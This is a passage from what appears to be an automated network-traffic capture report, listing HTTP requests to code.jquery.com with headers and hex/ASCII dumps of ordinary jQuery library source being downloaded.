6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:27 UTC	586	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:27 UTC	563	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 01 May 2024 17:04:27 GMT Age: 6682873 X-Served-By: cache-lga21947-LGA, cache-ewr18170-EWR X-Cache: HIT, HIT X-Cache-Hits: 164, 391 X-Timer: S1714583068.686879,VS0,VE0 Vary: Accept-Encoding
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\\("+K+"((?:-\\d)?\\d)"+K+"\\)\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:27 UTC	602	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:27 UTC	516	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 32082 Date: Wed, 01 May 2024 17:04:27 GMT Via: 1.1 varnish X-Served-By: cache-lga21962-LGA X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1714583068.693823,VS0,VE1 Vary: Accept-Encoding
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
